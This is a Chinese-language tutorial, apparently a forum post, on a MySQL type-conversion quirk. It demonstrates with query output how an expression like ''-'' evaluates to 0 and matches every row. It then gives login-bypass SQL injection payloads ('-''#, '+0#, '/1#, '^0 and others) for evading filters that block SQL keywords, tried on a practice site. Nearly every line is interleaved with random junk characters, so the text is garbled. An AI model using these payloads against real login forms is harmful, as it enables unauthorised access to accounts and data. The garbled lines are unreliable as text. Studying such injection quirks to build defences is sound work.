我们先来看这样一个场景。
$ U; n% o6 U7 f4 m有以下表结构:
7 {; h% e+ H# @+ m& s0 k, R( K0 W! c0 c# L8 d9 {* Y( v$ x
mysql> desc admin;5 G8 \& Y2 U7 a; r0 @
+----------+--------------+------+-----+---------+----------------+
! U* q4 X2 m/ A" p4 B# a8 V. y| Field | Type | Null | Key | Default | Extra |
1 r0 _$ f* I8 u1 ]- I( r+----------+--------------+------+-----+---------+----------------+
6 H: m; K& _* _% c1 R& a| id | mediumint(9) | NO | PRI | NULL | auto_increment |
0 J! H& w" T! x3 q| name | char(32) | NO | UNI | NULL | |
9 o; G4 T( R+ x+ ~8 N| password | char(32) | NO | UNI | NULL | |
% w% l5 n" b4 Q+ E* K+----------+--------------+------+-----+---------+----------------+, O6 ?" o& _, e
3 rows in set (0.00 sec)
) o; r3 s+ F% u执行select * from admin;,成功返回所有记录内容。9 U& i7 d2 K5 I* n4 R# L$ t
' P$ Y1 T& [' q7 d ~
7 O: ]3 Z3 }. J6 a/ v b" g
+----+--------+----------------------------------+. a |: C4 f& Y# i; j8 _
| id | name | password |/ _0 V U) y/ ~+ u7 X1 l3 G f
+----+--------+----------------------------------+0 R6 H+ {9 a3 R
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |' `: I( N" R0 j C4 O9 r
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 | v+ `! H! ]. T
| 4 | n00b | ff80e8508d39047460921792273533a4 |
+ g7 l6 J; i8 Q- x+----+--------+----------------------------------+
I0 b: _# `% A+ E3 rows in set (0.00 sec)4 X. _% \6 C" D9 [* {' \
执行select * from admin where name=”;,没有匹配到任何记录。 ( Q& q* B+ K' E
1 ?4 H7 c! |& b6 `& q1 omysql> select * from admin where name = '';" O2 F% \9 }' [3 T& F( U& f% a
Empty set (0.00 sec)
+ j7 I p9 g$ ~2 `0 `% P5 V那么我们来执行select * from admin where name = ”-”;
. g# ]5 b3 g+ ]4 M* T7 p
8 {1 T+ e' |4 b# d$ W& C
/ [6 F9 g0 d2 h8 R o+----+--------+----------------------------------+, s; S! _: x3 N, I( ~
| id | name | password |
) f$ @& R% j3 \" n0 H* d- f( a# x+----+--------+----------------------------------+
8 F) Q4 J! x& w| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
1 ]$ h# Q& Y) Z| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |% Q3 Y: T" @# D4 ]% o$ T! g
| 4 | n00b | ff80e8508d39047460921792273533a4 |0 V; E/ V) I* f2 Y
+----+--------+----------------------------------+
/ e2 k+ I) ^! f* I$ m3 rows in set, 3 warnings (0.00 sec)$ M5 ]$ F0 ` r( I/ e
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: $ f& \# r+ f$ @9 c
. z5 n. k2 L6 a0 l. x0 u2 Qmysql> show warnings;: o0 v% i; a2 L! k4 v4 H
+---------+------+------------------------------------------
3 e2 S$ U' p x2 B A| Level | Code | Message6 t; N. ^& }) c7 z! R* V- L U
+---------+------+------------------------------------------
( N5 k3 I8 {$ Z. A6 i( E9 c| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
: [! M. y6 S5 F9 w- ~+ m| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
% m( ]/ [: G! |' L| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b2 p. S9 [# u' C+ Z
+---------+------+------------------------------------------
7 {0 q* ]& `& _& y _+ y9 T3 rows in set (0.00 sec)
7 X1 v. X, e% i( Z提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 1 p0 B: V0 T7 ]1 M! q) b0 b' U- F* F
1 K3 j4 e9 {* w+ m( ?5 Emysql> select ''-'';, x7 Z; T& M) J% m! m
+-------+$ B/ P, [0 c9 F; P
| ''-'' |
. S$ L8 e) e' O" W8 Z* L+-------+) p4 Q, Y2 s) o/ I6 _( O
| 0 |
( M" a5 i; `6 H3 B6 q) ^+-------+
/ [: V" i! o. P: {2 I P4 b7 D1 row in set (0.00 sec)
3 t; f& U8 c2 z V, G f返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: & N% O' q9 }! m. S% O
3 `7 \1 j# j3 q: P. T$ nmysql> select CAST((select name from admin limit 1,1) as DECIMAL);
2 t6 F1 @, V$ D3 ]: |% f+ H+-----------------------------------------------------+
: q7 X }1 i7 P% ]. c| CAST((select name from admin limit 1,1) as DECIMAL) |: u+ h& \, N2 Z3 L+ |
+-----------------------------------------------------+" b# ?* w1 D3 v3 h3 h$ {
| 0 |- V2 a3 f7 c$ g& a* ?
+-----------------------------------------------------+
$ V' u" J; M. S8 Q, i1 row in set, 1 warning (0.00 sec)
3 o- ~( z) W$ R' m2 g' B3 C+ y因此where语句构成了相等的条件,where 0=”=”,记录被返回。
L1 M7 |8 Y. i6 h5 `& @$ F T& a1 T9 I" k
SQL注入场景: http://www.sqlzoo.net/hack/ ' L# k7 s" ^3 A- I
! y. Q, U' d1 G
/ }' B6 e- m3 F( R0 _- O P9 L$ t0 Q% T) d
1 E, |7 j d( I% o( V) F( e7 m; h
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
9 J+ K; Q4 i$ }+ [, W \+ g, N& \
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
0 t! H8 m# B, {1 {
3 S& W& C- c7 Y& [8 Z' s
1 V I4 a% Y+ N$ y$ D
. z, ?5 X6 l( m2 j) P0 Z( s) |$ }
: p1 r0 l# F. j% @0 d, M6 z仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
7 ~; u+ B% y* g
$ |8 ?0 w3 R$ `* N$ w2 S5 q
. |2 R+ J% L6 i' H4 }1 c! R V1 w; x5 M- S7 t1 ?2 A
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
5 h7 I) o( Z% I0 I6 b2 Q- f0 Y2 Q- @3 P- B
/ I1 g, c' \5 L* l4 D% y
mysql> select ''/1;3 k0 B& s; [" [( _6 n
+------+. A1 F6 _+ z4 X) S5 ^4 T$ o' g6 B3 p
| ''/1 |
* v) v! F% e- ?+ Y+------+
+ n; ^2 v$ j8 G7 p| 0 |
* ?- Q, V/ _$ w0 p3 W, }) }+------+
: H2 ?% S7 r8 ]3 o9 k1 row in set (0.00 sec)
5 p; u& L* g7 c+ \类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 ! K3 l5 F2 z% t" k" N6 T8 C
8 R+ N- a2 m7 |- X利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。' W; O1 z. T0 `. u
|
|